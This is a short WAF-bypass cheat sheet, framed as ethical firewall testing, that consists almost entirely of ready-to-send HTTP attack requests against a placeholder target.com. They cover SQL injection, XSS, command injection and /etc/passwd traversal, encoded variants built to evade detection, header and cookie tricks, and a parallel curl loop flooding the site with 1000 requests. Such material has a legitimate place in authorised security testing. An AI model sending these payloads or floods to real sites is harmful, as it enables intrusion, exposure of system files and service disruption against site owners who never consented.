WAFBypass

To ethically test the effectiveness of a Web Application Firewall (WAF) like Cloudflare's, you can craft payloads designed to assess its detection and blocking capabilities. Here’s a framework for creating such payloads while respecting ethical boundaries:

1. General WAF Testing Payloads
These payloads help identify how the WAF handles malicious-like traffic:

a.SQL Injection (SQLi) Testing 
 
GET /default.php?id=1' OR '1'='1 HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0
 

b.Cross-Site Scripting (XSS) Testing 
 
GET /default.php?search=<script>alert('XSS')</script> HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0
 

c.Command Injection 
 
GET /default.php?cmd=;ls HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0
 

d.Path Traversal 
 
GET /../../../../etc/passwd HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0
 

e.LFI (Local File Inclusion) 
 
GET /default.php?page=../../../../etc/passwd HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0
 

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 2. WAF Evasion Techniques 
WAFs rely on pattern-matching. You can test by using  obfuscation  techniques to evade detection:

 a.Obfuscating SQLi 
 
GET /default.php?id=1%20OR%20%271%27=%271 HTTP/1.1
 

 b,Encoding for XSS 
 
GET /default.php?search=%3Cscript%3Ealert(%27XSS%27)%3C%2Fscript%3E HTTP/1.1
 

 c.Hex Encoding 
 
GET /default.php?search=%3C%7363%72%69%70%74%3Ealert(%27XSS%27)%3C%2F%73%63%72%69%70%74%3E HTTP/1.1
 

 d.Nested Encoding 
 
GET /default.php?search=%25253Cscript%25253Ealert(%252527XSS%252527)%25253C%25252Fscript%25253E HTTP/1.1
 

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 3. Headers and Cookie Manipulation 

 a.Testing Custom Headers 
 
X-Original-URL: /default.php?id=1
X-Rewrite-URL: /default.php?id=1
 

 b.Testing Cookie Modification 
 
Cookie: test=1 OR '1'='1';
 

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 4. Rate Limiting and DDoS Protections 

Simulate high-frequency requests to test rate-limiting and DDoS protection:

seq 1 1000 | xargs -n1 -P10 curl -s "http://target.com/default.php"
 

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